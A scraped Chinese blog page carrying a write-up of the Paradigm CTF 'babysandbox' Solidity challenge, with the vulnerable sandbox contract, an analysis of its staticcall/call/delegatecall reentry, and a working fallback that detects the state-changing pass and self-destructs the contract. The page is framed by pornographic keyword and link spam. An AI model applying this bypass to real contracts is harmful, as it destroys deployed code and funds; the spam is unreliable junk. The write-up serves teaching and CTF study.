日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

【CTF】paradigm-CTF babysandbox

發(fā)布時間:2025/3/21 编程问答 18 豆豆
生活随笔 收集整理的這篇文章主要介紹了 【CTF】paradigm-CTF babysandbox 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

前言:找Ver👴想復(fù)現(xiàn)下qwb final的區(qū)塊鏈。Ver👴給我發(fā)了這個比賽下面的一道題,發(fā)現(xiàn)這個比賽里面有很多高質(zhì)量的智能合約題。從這里開始寫一些不錯的題目。

babysandbox

看到題目名字就知道了題目考點: 沙盒
給出合約
BabySandbox.sol

pragma solidity 0.7.0;contract BabySandbox {function run(address code) external payable {assembly {// if we're calling ourselves, perform the privileged delegatecallif eq(caller(), address()) {switch delegatecall(gas(), code, 0x00, 0x00, 0x00, 0x00)case 0 {returndatacopy(0x00, 0x00, returndatasize())revert(0x00, returndatasize())}case 1 {returndatacopy(0x00, 0x00, returndatasize())return(0x00, returndatasize())}}// ensure enough gasif lt(gas(), 0xf000) {revert(0x00, 0x00)}// load calldatacalldatacopy(0x00, 0x00, calldatasize())// run using staticcall// if this fails, then the code is malicious because it tried to change stateif iszero(staticcall(0x4000, address(), 0, calldatasize(), 0, 0)) {revert(0x00, 0x00)}// if we got here, the code wasn't malicious// run without staticcall since it's safeswitch call(0x4000, address(), 0, 0, calldatasize(), 0, 0)case 0 {returndatacopy(0x00, 0x00, returndatasize())// revert(0x00, returndatasize())}case 1 {returndatacopy(0x00, 0x00, returndatasize())return(0x00, returndatasize())}}} }

Setup.sol

pragma solidity 0.7.0;import "./BabySandbox.sol";contract Setup {BabySandbox public sandbox;constructor() {sandbox = new BabySandbox();}function isSolved() public view returns (bool) {uint size;assembly {size := extcodesize(sload(sandbox.slot))}return size == 0;} }

Setup.py中的isSolved()進行了是否成功解決challenge的check.
這里我不是很熟悉.slot這種用法,所以自己隨便部署了一個進行試驗。

應(yīng)該就是取了題目合約的整個字節(jié)碼。要求把合約變成一個賬戶。或者直接讓合約自毀應(yīng)該也可以。
然后我們分析下Sandbox中的各種方法

if eq(caller(), address()) {switch delegatecall(gas(), code, 0x00, 0x00, 0x00, 0x00)case 0 {returndatacopy(0x00, 0x00, returndatasize())revert(0x00, returndatasize())}case 1 {returndatacopy(0x00, 0x00, returndatasize())return(0x00, returndatasize())}}

這里說的是如果caller也就是調(diào)用者是自己的話。那么就會直接調(diào)用。
delegatecall,也就是如果這里能設(shè)置出一些東西那么就可以成功改變合約狀態(tài)了。

if lt(gas(), 0xf000) {revert(0x00, 0x00)}// load calldatacalldatacopy(0x00, 0x00, calldatasize())// run using staticcall// if this fails, then the code is malicious because it tried to change stateif iszero(staticcall(0x4000, address(), 0, calldatasize(), 0, 0)) {revert(0x00, 0x00)}// if we got here, the code wasn't malicious// run without staticcall since it's safeswitch call(0x4000, address(), 0, 0, calldatasize(), 0, 0)case 0 {returndatacopy(0x00, 0x00, returndatasize())// revert(0x00, returndatasize())}case 1 {returndatacopy(0x00, 0x00, returndatasize())return(0x00, returndatasize())}}

第一行檢測了gas是否夠用,然后calldatacopy
從調(diào)用數(shù)據(jù)的位置 f 的拷貝 s 個字節(jié)到內(nèi)存的位置 t
之后他就會利用staticall繼續(xù)進行檢測,但是我們可以發(fā)現(xiàn),他從這里進入的staticcall 是進入了 自己的合約。 相當(dāng)于對自己進行了一次重入。重入之后的調(diào)用方,就是msg.sender了。也就是可以正常進入delegatecall了。
但是他利用的是staticcall在外層,所以還是不能改變合約的原有狀態(tài)。

但是通過之后 他利用call進行了第二次的合約使用。也就是這里的delegatecall就可以完成任何想做的事情了。也就是我們想要的合約銷毀。

那么到這里 整體的思路就很清晰了:

首先進入run(address target)中,delegatecall無法進入,進入staticcall
staticall中進入delegatecall 完成一次調(diào)用。
call中進入delegatecall完成一次調(diào)用。
需要一個函數(shù)在staticcall中不改變合約狀態(tài),在call中改變。
delegatecall的target只需要直接selfdestruct就可以了。

那么現(xiàn)在就考慮怎么給出一個辦法,使得兩次調(diào)用所執(zhí)行的方法不同?
嘗試思路:

  • 我們考慮到利用全局變量進行賦值。但是可想而知這個方法并不可靠。因為我們是需要staticall通過檢測的,全局變量賦值還是改變了合約的原有狀態(tài)。
  • function()payable external{if(success==true){selfdestruct(msg.sender);}else{success=true;} }

    也就是利用類似上述的偽代碼。這里是不可做的。

  • 利用特征進行判斷。但是我們可以看到每次進行交易不管是傳的gas還是什么所有的call和staticall中的特征都完全相同。
    所以這個方法也很難進行bypass。
  • if(gas>value){ return ; } else{ selfdestruct(msg.sender); }

    考慮使用call外部變量進行改變,這種是可行的一個辦法。我們可以通過在外部合約設(shè)置一個方法 我們利用內(nèi)部的call方法進行請求,如果能正確返回狀態(tài)值則代表當(dāng)前狀態(tài)就是call了。

    因為外部Call方法的狀態(tài)即使revert()他也會只返回一個狀態(tài)碼0,并不會直接阻斷整個交易的正常運行。

    fallback()external payable{bool success;(success,)=address(0x3c725134d74D5c45B4E4ABd2e5e2a109b5541288).call("");if(!success){return;}else{selfdestruct(address(0));}}


    這樣就成功繞過了沙箱

    這個是從github的官方wp中學(xué)到的 ,感覺應(yīng)該和3的意思相同? 用等同于python的語法try catch 這樣可以直接避免直接revert()

    contract Setup {BabySandbox public sandbox;constructor() {sandbox = new BabySandbox();}function isSolved() public view returns (bool) {uint size;assembly {size := extcodesize(sload(sandbox.slot))}return size == 0;} }

    學(xué)到了很多opcode以及call staticcall delegatecall的知識。


    有自學(xué)網(wǎng)絡(luò)安全的朋友可以關(guān)注私信我哦!!!

    總結(jié)

    以上是生活随笔為你收集整理的【CTF】paradigm-CTF babysandbox的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。

    主站蜘蛛池模板: 天堂综合 | 免费黄色成人 | 韩日av| 黄色美女毛片 | 一久久 | 吖v在线| 肉嫁高柳家在线看 | 91精品视频免费 | 日韩成人在线网站 | 日韩精品乱码 | 永久免费国产 | 在线看黄色的网站 | 亚洲无码一区二区三区 | 40到50岁中老年妇女毛片 | 国产麻豆精品一区 | 日本精品一区二区三区在线观看 | 天天操天天干天天舔 | 草色网 | 176精品免费| 男女激情啪啪 | 成年人看的黄色片 | 正在播放老肥熟妇露脸 | 狠狠干人人干 | 午夜精品一区二区三 | 日韩无套| 一级特黄色大片 | 视频一区在线免费观看 | 久久久久久日产精品 | 亚洲欧美一区二区在线观看 | 美女精品一区 | 喷水了…太爽了高h | 天堂av资源网 | 美女洗澡无遮挡 | 玖玖玖在线观看 | 韩毛片 | 红桃av| 99热这里都是精品 | 四虎影院污 | 日日噜噜噜夜夜爽爽狠狠视频97 | 欧美视频一区二区三区 | 国产污污视频 | 中出中文字幕 | 亚洲色图视频网站 | 最新中文字幕 | 国产免费视频一区二区三区 | 久久私人影院 | 欧美 唯美 清纯 偷拍 | 天堂网国产 | 97成人精品 | 在线天堂一区 | 怡红院成人在线 | 欧美 日韩 国产 成人 在线 | 少妇4p| 少妇一级片 | 午夜免费一区 | 青娱乐在线播放 | 日韩欧美激情在线 | 不卡中文字幕 | 大陆极品少妇内射aaaaa | 淫欲少妇| 艳母免费在线观看 | 婷婷开心激情网 | 欧美两根一起进3p做受视频 | 国产午夜精品免费一区二区三区视频 | 国产乱论视频 | 日韩高清在线一区 | 中国大陆一级毛片 | 国产在线观看免费av | 欧美黄色一区二区 | aaaa毛片| 精品一区二区三区无码视频 | 青青草视频在线观看 | 校园春色综合 | 日韩视频专区 | 久久久久看片 | www污污 | 亚洲4区 | 亚洲夜色| 91直接进入 | 亚洲精品资源在线 | 精品久久久久久久久久久久久久久久久 | 性xxxx搡xxxxx搡欧美 | 91视频色 | 欧美极品在线视频 | 日本在线不卡一区二区三区 | 欧美69囗交视频 | 国产亚洲天堂网 | 欧美成人女星 | 一级片aaaa| 亚洲五码av | 久久99精品久久久水蜜桃 | 欧美混交群体交 | 国模私拍xvideos私拍 | 欧美日韩不卡在线 | 91pron在线 | 国产无遮挡呻吟娇喘视频 | 五月天综合婷婷 | 亚洲视频在线观看一区 | 亚洲色图制服诱惑 |